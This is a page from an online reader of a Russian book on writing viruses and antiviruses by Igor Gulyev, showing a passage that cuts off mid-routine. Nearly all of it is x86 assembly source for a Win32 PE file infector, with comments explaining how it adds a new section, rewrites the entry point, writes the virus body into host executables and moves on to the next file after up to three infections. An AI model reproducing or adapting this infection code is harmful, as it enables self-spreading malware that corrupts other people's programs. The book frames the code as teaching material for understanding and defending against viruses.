Создаем вирус и антивирус. Игорь Гульев
Чтение книги онлайн.

Читать онлайн книгу Создаем вирус и антивирус - Игорь Гульев страница 28

Название: Создаем вирус и антивирус

Автор: Игорь Гульев

Издательство:

Жанр: Компьютеры: прочее

Серия:

isbn: 5-89818-087-7

isbn:

СКАЧАТЬ eax,vend–vstart+1000h

      xor edx,edx

      div ecx

      inc eax

      mul ecx

      mov dword ptr [ebp+offset virtualsize],eax

      ;Вычислим физическое смещение нового объекта

      mov eax,[edi−5*8+20]

      add eax,[edi−5*8+16]

      mov ecx,dword ptr [ebp+offset filealign]

      xor edx,edx

      div ecx

      inc eax

      mul ecx

      mov dword ptr [ebp+offset physicaloffset],eax

      ;Обновим размер образа (размер в памяти) файла

      mov eax,vend−vstart+1000h

      add eax,dword ptr [ebp+offset imagesize]

      mov ecx,[ebp+offset objalign]

      xor edx,edx

      div ecx

      inc eax

      mul ecx

      mov dword ptr [ebp+offset imagesize],eax

      ;Скопируем новый объект в таблицу объектов

      mov ecx,10

      rep movsd

      ;Вычислим точку входа RVA

      mov eax,dword ptr [ebp+offset RVA]

      mov ebx,dword ptr [ebp+offset entrypointRVA]

      mov dword ptr [ebp+offset entrypointRVA],eax

      sub eax,ebx

      add eax,5

      ;Установим значение, необходимое для возврата в носитель

      mov dword ptr [ebp+offset subme],eax

      ;Поставим указатель позиции чтения/записи на начало PE−заголовка

      push 0

      push 0

      push dword ptr [ebp+offset peheaderoffset]

      push dword ptr [ebp+offset ahand]

      call SetFilePointer

      ;Запишем PE−заголовок и таблицу объектов в файл

      push 0

      lea eax,[ebp+offset bytesread]

      push eax

      push dword ptr [ebp+offset headersize]

      lea eax,[ebp+offset peheader]

      push eax

      push dword ptr [ebp+offset ahand]

      call WriteFile

      ;Увеличим счетчик заражений

      inc byte ptr [ebp+offset countinfect]

      ;Поставим указатель позиции чтения/записи

      ;по физическому смещению нового объекта

      push 0

      push 0

      push dword ptr [ebp+offset physicaloffset]

      push dword ptr [ebp+offset ahand]

      call SetFilePointer

      ;Запишем тело вируса в новый объект

      push 0

      lea eax,[ebp+offset bytesread]

      push eax

      push vend−vstart

      lea eax,[ebp+offset vstart]

      push eax

      push dword ptr [ebp+offset ahand]

      call WriteFile

      ;Закроем файл

      notape:

      push dword ptr [ebp+offset ahand]

      call CloseFile

      ;Переход к следующему файлу

      findnextone:

      ;Проверим, сколько файлов заразили: если 3,

      ;то выходим, если меньше – ищем следующий

      cmp byte ptr [ebp+offset countinfect],3

      jz outty

      ;Ищем следующий файл

      lea eax,[ebp+offset win32_data_thang]

      push eax

      push dword ptr [ebp+offset searchhandle]

      call FindNext

      ;Если файл найден, переходим к заражению

      or eax,eax

      jnz gofile

      ;Сюда попадаем, если файл не найден

      foundnothing:

      Конец ознакомительного фрагмента.

      Текст предоставлен ООО «ЛитРес».

      Прочитайте эту книгу целиком, купив полную легальную версию на ЛитРес.

СКАЧАТЬ